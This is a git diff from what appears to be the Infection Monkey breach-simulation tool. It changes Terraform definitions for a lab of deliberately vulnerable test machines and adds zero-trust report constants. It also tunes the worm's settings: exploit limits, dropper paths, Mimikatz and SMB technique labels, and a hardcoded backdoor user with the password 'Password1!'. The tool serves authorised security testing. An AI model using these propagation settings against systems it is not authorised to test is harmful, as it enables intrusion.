"tunneling-9" { - name = "tunneling-9" + name = "${local.resource_prefix}tunneling-9" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -147,18 +158,17 @@ resource "google_compute_instance_from_template" "tunneling-9" { auto_delete = true } network_interface{ - subnetwork="tunneling-main" + subnetwork="${local.resource_prefix}tunneling-main" network_ip="10.2.1.9" - } network_interface{ - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.9" } } resource "google_compute_instance_from_template" "tunneling-10" { - name = "tunneling-10" + name = "${local.resource_prefix}tunneling-10" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -167,13 +177,32 @@ resource "google_compute_instance_from_template" "tunneling-10" { auto_delete = true } network_interface{ - subnetwork="tunneling-main" + subnetwork="${local.resource_prefix}tunneling-main" network_ip="10.2.1.10" } + network_interface{ + subnetwork="${local.resource_prefix}tunneling2-main" + network_ip="10.2.0.10" + } +} + +resource "google_compute_instance_from_template" "tunneling-11" { + name = "${local.resource_prefix}tunneling-11" + source_instance_template = "${local.default_ubuntu}" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.tunneling-11.self_link}" + } + auto_delete = true + } + network_interface{ + subnetwork="${local.resource_prefix}tunneling2-main" + network_ip="10.2.0.11" + } } resource "google_compute_instance_from_template" "sshkeys-11" { - name = "sshkeys-11" + name = "${local.resource_prefix}sshkeys-11" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -182,13 +211,13 @@ resource "google_compute_instance_from_template" "sshkeys-11" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.11" } } resource "google_compute_instance_from_template" "sshkeys-12" { - name = "sshkeys-12" + name = "${local.resource_prefix}sshkeys-12" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -197,14 +226,14 @@ resource "google_compute_instance_from_template" "sshkeys-12" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.12" } } /* resource "google_compute_instance_from_template" "rdpgrinder-13" { - name = "rdpgrinder-13" + name = "${local.resource_prefix}rdpgrinder-13" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -212,14 +241,14 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.13" } } */ resource "google_compute_instance_from_template" "mimikatz-14" { - name = "mimikatz-14" + name = "${local.resource_prefix}mimikatz-14" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -228,13 +257,13 @@ resource "google_compute_instance_from_template" "mimikatz-14" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.14" } } resource "google_compute_instance_from_template" "mimikatz-15" { - name = "mimikatz-15" + name = "${local.resource_prefix}mimikatz-15" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -243,13 +272,13 @@ resource "google_compute_instance_from_template" "mimikatz-15" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.15" } } resource "google_compute_instance_from_template" "mssql-16" { - name = "mssql-16" + name = "${local.resource_prefix}mssql-16" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -258,14 +287,14 @@ resource "google_compute_instance_from_template" "mssql-16" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.16" } } /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { - name = "upgrader-17" + name = "${local.resource_prefix}upgrader-17" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -273,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.17" access_config { // Cheaper, non-premium routing @@ -284,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" { */ resource "google_compute_instance_from_template" "weblogic-18" { - name = "weblogic-18" + name = "${local.resource_prefix}weblogic-18" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -293,13 +322,13 @@ resource "google_compute_instance_from_template" "weblogic-18" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.18" } } resource "google_compute_instance_from_template" "weblogic-19" { - name = "weblogic-19" + name = "${local.resource_prefix}weblogic-19" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -308,13 +337,13 @@ resource "google_compute_instance_from_template" "weblogic-19" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.19" } } resource "google_compute_instance_from_template" "smb-20" { - name = "smb-20" + name = "${local.resource_prefix}smb-20" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -323,13 +352,13 @@ resource "google_compute_instance_from_template" "smb-20" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.20" } } resource "google_compute_instance_from_template" "scan-21" { - name = "scan-21" + name = "${local.resource_prefix}scan-21" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -338,13 +367,13 @@ resource "google_compute_instance_from_template" "scan-21" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.21" } } resource "google_compute_instance_from_template" "scan-22" { - name = "scan-22" + name = "${local.resource_prefix}scan-22" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -353,13 +382,13 @@ resource "google_compute_instance_from_template" "scan-22" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.22" } } resource "google_compute_instance_from_template" "struts2-23" { - name = "struts2-23" + name = "${local.resource_prefix}struts2-23" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -368,13 +397,13 @@ resource "google_compute_instance_from_template" "struts2-23" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.23" } } resource "google_compute_instance_from_template" "struts2-24" { - name = "struts2-24" + name = "${local.resource_prefix}struts2-24" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -383,13 +412,13 @@ resource "google_compute_instance_from_template" "struts2-24" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.24" } } resource "google_compute_instance_from_template" "island-linux-250" { - name = "island-linux-250" + name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" tags = ["island", "linux", "ubuntu16"] source_instance_template = "${local.default_ubuntu}" @@ -400,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.250" access_config { // Cheaper, non-premium routing (not available in some regions) @@ -410,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" { } resource "google_compute_instance_from_template" "island-windows-251" { - name = "island-windows-251" + name = "${local.resource_prefix}island-windows-251" machine_type = "n1-standard-2" tags = ["island", "windows", "windowsserver2016"] source_instance_template = "${local.default_windows}" @@ -421,11 +450,11 @@ resource "google_compute_instance_from_template" "island-windows-251" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.251" access_config { // Cheaper, non-premium routing (not available in some regions) // network_tier = "STANDARD" } } -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf index ed48864d9..6ae6dafdc 100644 --- a/envs/monkey_zoo/terraform/templates.tf +++ b/envs/monkey_zoo/terraform/templates.tf @@ -1,5 +1,5 @@ resource "google_compute_instance_template" "ubuntu16" { - name = "ubuntu16" + name = "${local.resource_prefix}ubuntu16" description = "Creates ubuntu 16.04 LTS servers at europe-west3-a." tags = ["test-machine", "ubuntu16", "linux"] @@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" { } resource "google_compute_instance_template" "windows2016" { - name = "windows2016" + name = "${local.resource_prefix}windows2016" description = "Creates windows 2016 core servers at europe-west3-a." tags = ["test-machine", "windowsserver2016", "windows"] @@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" { email="${local.service_account_email}" scopes=["cloud-platform"] } -} \ No newline at end of file +} diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py index ea6a10df7..f113ca894 100644 --- a/monkey/common/cloud/aws_instance.py +++ b/monkey/common/cloud/aws_instance.py @@ -30,14 +30,14 @@ class AwsInstance(object): self.region = self._parse_region( urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read()) except urllib2.URLError as e: - logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message)) + logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e.message)) try: self.account_id = self._extract_account_id( urllib2.urlopen( AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read()) except urllib2.URLError as e: - logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message)) + logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message)) @staticmethod def _parse_region(region_url_response): diff --git a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py b/monkey/common/cloud/aws_service_test.py similarity index 97% rename from monkey/common/cloud/test_filter_instance_data_from_aws_response.py rename to monkey/common/cloud/aws_service_test.py index 8aec518d3..699e2c489 100644 --- a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py +++ b/monkey/common/cloud/aws_service_test.py @@ -7,7 +7,7 @@ import json __author__ = 'shay.nehmad' -class TestFilter_instance_data_from_aws_response(TestCase): +class TestFilterInstanceDataFromAwsResponse(TestCase): def test_filter_instance_data_from_aws_response(self): json_response_full = """ { diff --git a/monkey/common/data/__init__.py b/monkey/common/data/__init__.py new file mode 100644 index 000000000..a8c1a93f7 --- /dev/null +++ b/monkey/common/data/__init__.py @@ -0,0 +1,2 @@ +from zero_trust_consts import populate_mappings +populate_mappings() diff --git a/monkey/common/data/network_consts.py b/monkey/common/data/network_consts.py new file mode 100644 index 000000000..5fc9d6d8a --- /dev/null +++ b/monkey/common/data/network_consts.py @@ -0,0 +1,2 @@ +ES_SERVICE = 'elastic-search-9200' + diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py new file mode 100644 index 000000000..dee4f67d0 --- /dev/null +++ b/monkey/common/data/post_breach_consts.py @@ -0,0 +1,3 @@ +POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user" +POST_BREACH_BACKDOOR_USER = "Backdoor user" +POST_BREACH_FILE_EXECUTION = "File execution" diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py new file mode 100644 index 000000000..4add05d04 --- /dev/null +++ b/monkey/common/data/zero_trust_consts.py @@ -0,0 +1,205 @@ +""" +This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and +in creating findings. + +This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses. +Some of the mappings are computed when this module is loaded. +""" + +AUTOMATION_ORCHESTRATION = u"Automation & Orchestration" +VISIBILITY_ANALYTICS = u"Visibility & Analytics" +WORKLOADS = u"Workloads" +DEVICES = u"Devices" +NETWORKS = u"Networks" +PEOPLE = u"People" +DATA = u"Data" +PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION) + +STATUS_UNEXECUTED = u"Unexecuted" +STATUS_PASSED = u"Passed" +STATUS_VERIFY = u"Verify" +STATUS_FAILED = u"Failed" +# Don't change order! The statuses are ordered by importance/severity. +ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED] + +TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic" +TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http" +TEST_MACHINE_EXPLOITED = u"machine_exploited" +TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists" +TEST_SCHEDULED_EXECUTION = u"scheduled_execution" +TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline" +TEST_SEGMENTATION = u"segmentation" +TEST_TUNNELING = u"tunneling" +TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user" +TESTS = ( + TEST_SEGMENTATION, + TEST_MALICIOUS_ACTIVITY_TIMELINE, + TEST_SCHEDULED_EXECUTION, + TEST_ENDPOINT_SECURITY_EXISTS, + TEST_MACHINE_EXPLOITED, + TEST_DATA_ENDPOINT_HTTP, + TEST_DATA_ENDPOINT_ELASTIC, + TEST_TUNNELING, + TEST_COMMUNICATE_AS_NEW_USER +) + +PRINCIPLE_DATA_TRANSIT = u"data_transit" +PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security" +PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour" +PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" +PRINCIPLE_SEGMENTATION = u"segmentation" +PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" +PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies" +PRINCIPLES = { + PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", + PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", + PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", + PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", + PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.", + PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", + PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory " + u"Access Control) only.", +} + +POSSIBLE_STATUSES_KEY = u"possible_statuses" +PILLARS_KEY = u"pillars" +PRINCIPLE_KEY = u"principle_key" +FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation" +TEST_EXPLANATION_KEY = u"explanation" +TESTS_MAP = { + TEST_SEGMENTATION: { + TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", + STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." + }, + PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION, + PILLARS_KEY: [NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] + }, + TEST_MALICIOUS_ACTIVITY_TIMELINE: { + TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." + }, + PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, + PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] + }, + TEST_ENDPOINT_SECURITY_EXISTS: { + TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", + STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." + }, + PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, + PILLARS_KEY: [DEVICES], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_MACHINE_EXPLOITED: { + TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", + STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." + }, + PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, + PILLARS_KEY: [DEVICES], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY] + }, + TEST_SCHEDULED_EXECUTION: { + TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.", + STATUS_PASSED: "Monkey failed to execute in a scheduled manner." + }, + PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, + PILLARS_KEY: [PEOPLE, NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] + }, + TEST_DATA_ENDPOINT_ELASTIC: { + TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", + STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." + }, + PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_DATA_ENDPOINT_HTTP: { + TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", + STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." + }, + PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_TUNNELING: { + TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." + }, + PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, + PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] + }, + TEST_COMMUNICATE_AS_NEW_USER: { + TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", + STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." + }, + PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, + PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, +} + +EVENT_TYPE_MONKEY_NETWORK = "monkey_network" +EVENT_TYPE_MONKEY_LOCAL = "monkey_local" +EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK) + +PILLARS_TO_TESTS = { + DATA: [], + PEOPLE: [], + NETWORKS: [], + DEVICES: [], + WORKLOADS: [], + VISIBILITY_ANALYTICS: [], + AUTOMATION_ORCHESTRATION: [] +} + +PRINCIPLES_TO_TESTS = {} + +PRINCIPLES_TO_PILLARS = {} + + +def populate_mappings(): + populate_pillars_to_tests() + populate_principles_to_tests() + populate_principles_to_pillars() + + +def populate_pillars_to_tests(): + for pillar in PILLARS: + for test, test_info in TESTS_MAP.items(): + if pillar in test_info[PILLARS_KEY]: + PILLARS_TO_TESTS[pillar].append(test) + + +def populate_principles_to_tests(): + for single_principle in PRINCIPLES: + PRINCIPLES_TO_TESTS[single_principle] = [] + for test, test_info in TESTS_MAP.items(): + PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test) + + +def populate_principles_to_pillars(): + for principle, principle_tests in PRINCIPLES_TO_TESTS.items(): + principles_pillars = set() + for test in principle_tests: + for pillar in TESTS_MAP[test][PILLARS_KEY]: + principles_pillars.add(pillar) + PRINCIPLES_TO_PILLARS[principle] = principles_pillars diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py new file mode 100644 index 000000000..9bbaabf1d --- /dev/null +++ b/monkey/common/network/segmentation_utils.py @@ -0,0 +1,23 @@ +def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): + """ + Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet. + :param ip_addresses: List[str]: List of IP addresses to test. + :param source_subnet: NetworkRange: Subnet to want an IP to not be in. + :param target_subnet: NetworkRange: Subnet we want an IP to be in. + :return: The cross segment IP if in source but not in target, else None. Union[str, None] + """ + if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None: + return None + return get_ip_if_in_subnet(ip_addresses, source_subnet) + + +def get_ip_if_in_subnet(ip_addresses, subnet): + """ + :param ip_addresses: IP address list. + :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange + :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None. + """ + for ip_address in ip_addresses: + if subnet.is_in_range(ip_address): + return ip_address + return None diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py new file mode 100644 index 000000000..56a560922 --- /dev/null +++ b/monkey/common/network/segmentation_utils_test.py @@ -0,0 +1,30 @@ +from common.network.network_range import * +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestSegmentationUtils(IslandTestCase): + def test_get_ip_in_src_and_not_in_dst(self): + self.fail_if_not_testing_env() + source = CidrRange("1.1.1.0/24") + target = CidrRange("2.2.2.0/24") + + # IP not in both + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target + )) + + # IP not in source, in target + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("2.2.2.2")], source, target + )) + + # IP in source, not in target + self.assertIsNotNone(get_ip_in_src_and_not_in_dst( + [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target + )) + + # IP in both subnets + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("8.8.8.8"), text_type("1.1.1.1")], source, source + )) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index c7d2dc62c..708bc8f3c 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -8,3 +8,29 @@ class ScanStatus(Enum): SCANNED = 1 # Technique was attempted and succeeded USED = 2 + + +class UsageEnum(Enum): + SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.", + ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."} + MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", + ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."} + MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", + ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."} + DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} + SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", + ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" + " for monkey process wasn't successful."} + DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} + + +# Dict that describes what BITS job was used for +BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system." + + +def format_time(time): + return "%s-%s %s:%s:%s" % (time.date().month, + time.date().day, + time.time().hour, + time.time().minute, + time.time().second) diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py new file mode 100644 index 000000000..d6d407706 --- /dev/null +++ b/monkey/common/utils/code_utils.py @@ -0,0 +1,10 @@ + + +# abstract, static method decorator +class abstractstatic(staticmethod): + __slots__ = () + + def __init__(self, function): + super(abstractstatic, self).__init__(function) + function.__isabstractmethod__ = True + __isabstractmethod__ = True diff --git a/monkey/infection_monkey/build_windows.bat b/monkey/infection_monkey/build_windows.bat index e5ff5a805..f763bda6b 100644 --- a/monkey/infection_monkey/build_windows.bat +++ b/monkey/infection_monkey/build_windows.bat @@ -1 +1 @@ -pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec \ No newline at end of file +pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 50ee2c060..5d69e8bd9 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,3 +1,4 @@ +import hashlib import os import json import sys @@ -13,14 +14,15 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') +SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"] +HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden" + class Configuration(object): - def from_kv(self, formatted_data): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') - post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -37,9 +39,6 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) - elif key == 'post_breach_actions': - class_objects = [getattr(post_breach_import, val) for val in value] - setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -57,6 +56,12 @@ class Configuration(object): result = self.from_kv(formatted_data) return result + @staticmethod + def hide_sensitive_info(config_dict): + for field in SENSITIVE_FIELDS: + config_dict[field] = HIDDEN_FIELD_REPLACEMENT_CONTENT + return config_dict + def as_dict(self): result = {} for key in dir(Configuration): @@ -104,8 +109,8 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' - dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" - dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" + dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe" + dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' ########################### @@ -136,10 +141,10 @@ class Configuration(object): exploiter_classes = [] # how many victims to look for in a single scan iteration - victims_max_find = 30 + victims_max_find = 100 # how many victims to exploit before stopping - victims_max_exploit = 7 + victims_max_exploit = 15 # depth of propagation depth = 2 @@ -161,9 +166,8 @@ class Configuration(object): keep_tunnel_open_time = 60 - # Monkey files directories - monkey_dir_linux = '/tmp/monkey_dir' - monkey_dir_windows = r'C:\Windows\Temp\monkey_dir' + # Monkey files directory name + monkey_dir_name = 'monkey_dir' ########################### # scanners config @@ -179,7 +183,7 @@ class Configuration(object): # TCP Scanner HTTP_PORTS = [80, 8080, 443, - 8008, # HTTP alternate + 8008, # HTTP alternate 7001 # Oracle Weblogic default server port ] tcp_target_ports = [22, @@ -195,7 +199,7 @@ class Configuration(object): 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds - tcp_scan_interval = 0 + tcp_scan_interval = 0 # in milliseconds tcp_scan_get_banner = True # Ping Scanner @@ -205,15 +209,13 @@ class Configuration(object): # exploiters config ########################### + should_exploit = True skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 user_to_add = "Monkey_IUSER_SUPPORT" remote_user_pass = "Password1!" - # rdp exploiter - rdp_use_vbs_download = True - # User and password dictionaries for exploits. def get_exploit_user_password_pairs(self): @@ -276,5 +278,17 @@ class Configuration(object): PBA_linux_filename = None PBA_windows_filename = None + @staticmethod + def hash_sensitive_data(sensitive_data): + """ + Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is + saved on client machines plain-text. + + :param sensitive_data: the data to hash. + :return: the hashed data. + """ + password_hashed = hashlib.sha512(sensitive_data).hexdigest() + return password_hashed + WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index a88996069..4e917e5a6 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -20,6 +20,12 @@ 